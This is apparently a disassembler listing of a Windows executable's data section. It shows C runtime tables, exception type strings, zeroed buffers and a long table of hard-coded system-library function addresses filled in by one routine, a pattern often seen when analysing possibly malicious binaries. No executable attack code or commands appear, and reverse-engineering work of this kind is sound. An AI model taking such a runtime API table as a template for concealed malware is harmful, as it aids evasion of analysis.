off_43D0C8	dd offset dword_4DBC80	; DATA XREF: __NMSG_WRITE+1Bo
					; ___initstdio+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: ___initstdio+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: __flsbuf+50o __stbuf+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: __flsbuf+58o
					; __stbuf:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: ___initstdio+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: ___initstdio+69o
dword_43D350	dd 2694h		; DATA XREF: __handle_qnan1+3r
					; __except1+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: ___loctotime_t+76r
					; __tzset+5Ew ...
dword_43D38C	dd 1			; DATA XREF: ___loctotime_t+98r
					; __tzset+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: ___loctotime_t:loc_42271Br
					; __tzset+94w ...
dword_43D394	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_43D414o
dword_43D3D4	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_43D418o
; char *off_43D414
off_43D414	dd offset dword_43D394	; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_43D418
off_43D418	dd offset dword_43D3D4	; DATA XREF: __tzset+F4r __tzset+11Br	...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_43D424	dd 0			; DATA XREF: __isindst:loc_424B7Er
					; _cvtdate+BFw
dword_43D428	dd 0			; DATA XREF: __isindst+192r
					; _cvtdate+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: __tzset+17w __isindst+26r ...
dword_43D434	dd 0			; DATA XREF: __isindst+13Ar
					; _cvtdate+EAw	...
dword_43D438	dd 0			; DATA XREF: __isindst+1A1r
					; _cvtdate+23r	...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: ___loctotime_t+2Ar
					; _cvtdate+2Er	...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: _cvtdate:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: ___multtenpow12+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: .rdata:00427F3Co
					; .rdata:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: .rdata:off_427DF0o
					; .rdata:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: .rdata:off_427E38o
					; .rdata:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: .rdata:off_427E84o
					; .rdata:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: .rdata:off_427ED0o
					; .rdata:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
; char byte_43D808
byte_43D808	db 0			; DATA XREF: sub_40111D+62o
					; WinMain(x,x,x,x)+24Do ...
		align 10h
; char dword_43D810[]
dword_43D810	dd 0			; DATA XREF: WinMain(x,x,x,x)+38Fo
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: WinMain(x,x,x,x)+3DEw
					; WinMain(x,x,x,x)+456w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .data:off_433E54o
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .data:off_438BACo
		dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .data:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0C1F4h		; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 1Bh			; DATA XREF: WinMain(x,x,x,x)+3Dw
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: WinMain(x,x,x,x):loc_4016FFo
; char Dest[]
Dest		db 80h dup(0)		; DATA XREF: WinMain(x,x,x,x)+495o
					; WinMain(x,x,x,x)+52Fo ...
; char byte_4CB41C[]
byte_4CB41C	db 40h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4CB45C[]
byte_4CB45C	db 90h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4CB4EC	dd 0			; DATA XREF: WinMain(x,x,x,x)+4B6w
					; WinMain(x,x,x,x)+546w ...
dword_4CB4F0	dd 0			; DATA XREF: WinMain(x,x,x,x)+4D5w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: WinMain(x,x,x,x)+4E3w
					; WinMain(x,x,x,x)+4FAr ...
dword_4CB508	dd 0			; DATA XREF: WinMain(x,x,x,x)+49Aw
					; sub_401ACD+8BEr
; char byte_4CB50C[]
byte_4CB50C	db 4 dup(0)		; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 77C72C6Bh		; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 77EBA994h		; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 7622A3F4h		; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 71C45229h		; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 71C24870h		; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 77C71BB0h		; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 77D4808Bh		; DATA XREF: sub_409B13+213w
					; sub_409B13+234r ...
dword_4CB52C	dd 71C4502Ch		; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 77DE801Bh		; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 77DDACABh		; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 77DE8075h		; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 77DD7496h		; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 71AB1B7Bh		; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 77E686CCh		; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 71C2498Bh		; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 77DDAB2Fh		; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 7620E8C3h		; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 77DD23D7h		; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 76214750h		; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 77E6D75Bh		; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 7620BD61h		; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 71AB60C9h		; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 77EBA6E9h		; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 76D62A58h		; DATA XREF: sub_409B13+934w
					; sub_413285+11Ar
dword_4CB570	dd 76F36EAAh		; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 77E802FCh		; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 77C75455h		; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 71AB12A7h		; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r ...
dword_4CB580	dd 71C574FAh		; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 71AB1746h		; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 71C21CA3h		; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 71B28D0Dh		; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 762211EFh		; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 77D902E3h		; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 71C2FA86h		; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 77DE1291h		; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 77E2C1B3h		; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 73B81E3Bh		; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 71ABF628h		; DATA XREF: sub_409B13+6ACw
					; sub_4107C0+D0r
dword_4CB5AC	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 77C72889h		; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 71C453F8h		; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 77E96645h		; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 77428B97h		; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 71AB41DAh		; DATA XREF: WinMain(x,x,x,x)+8Cr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 762059A3h		; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 71C4A1B4h		; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 1F7CD214h		; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 77E09134h		; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 77D4456Bh		; DATA XREF: sub_409B13+22Dw
					; sub_411CF5+40r ...
dword_4CB5DC	dd 76D629BBh		; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er ...
dword_4CB5E0	dd 1F7B9D96h		; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 77E09070h		; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 71AB1740h		; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 7620AFB6h		; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 77D5C13Ah		; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr ...
dword_4CB5F4	dd 77D45B19h		; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 71AB157Eh		; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 71AB3E5Dh		; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 71AB14DCh		; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0CC0004h		; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 71ABD755h		; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 77DF7311h		; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 77DDA2AFh		; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 1F7CD927h		; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 76206853h		; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 77D4932Ch		; DATA XREF: sub_409B13+206w
					; sub_409B13+227r ...
dword_4CB624	dd 77D5E310h		; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 76206B7Fh		; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 71AB1444h		; DATA XREF: sub_409B13+624w
					; sub_409B13+774r ...
dword_4CB630	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 71AB3F8Dh		; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 77DD5D20h		; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 71AB1890h		; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 77C76B34h		; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 77D5E38Ch		; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 77DDA20Bh		; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 76F36EEBh		; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 71AB12A7h		; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 71AB1746h		; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 77EBA595h		; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 77C7531Dh		; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 77D4BDCAh		; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 71C3516Ah		; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 71AB32CAh		; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 71AB5690h		; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 1F7CB8F8h		; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 77EBB1E7h		; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 71AB5DE2h		; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 71AB3ECEh		; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 73B81B0Fh		; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 76204E4Dh		; DATA XREF: sub_409B13+879w
					; sub_4163FA+4DCr ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 1F7D886Ah		; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 71AB12F8h		; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 77C76551h		; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 77C729E2h		; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 77C7212Fh		; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 71AB1AF4h		; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 77D5E303h		; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 71C4576Ch		; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 77D4702Fh		; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 77E6C0E3h		; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 71AB1ED3h		; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 71B2A381h		; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 77DDA595h		; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 77DD22EAh		; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 773F97B0h		; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 76D67A29h		; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 76D674FAh		; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 71AB3C22h		; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 71AB2BBFh		; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 1F7BA3A9h		; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 71AB401Ch		; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 71C214BAh		; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 71AB868Dh		; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 71AB155Ah		; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 71B22C25h		; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 71AB5A01h		; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 71B2ACCBh		; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 77E78C17h		; DATA XREF: WinMain(x,x,x,x)+52r
					; sub_409B13+31w ...
dword_4CB704	dd 77D49A11h		; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 76D62A37h		; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br ...
dword_4CB710	dd 77E6CBF9h		; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: WinMain(x,x,x,x)+349r
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
; char byte_4CB784[]
byte_4CB784	db 1Ch dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C33D+D9w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
; char byte_4CD7C8[]
byte_4CD7C8	db 80h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
; char byte_4CD960[]
byte_4CD960	db 104h	dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
; char byte_4CDA70[]
byte_4CDA70	db 80h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
; char byte_4CDC08[]
byte_4CDC08	db 104h	dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
; char byte_4CDD18[]
byte_4CDD18	db 80h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
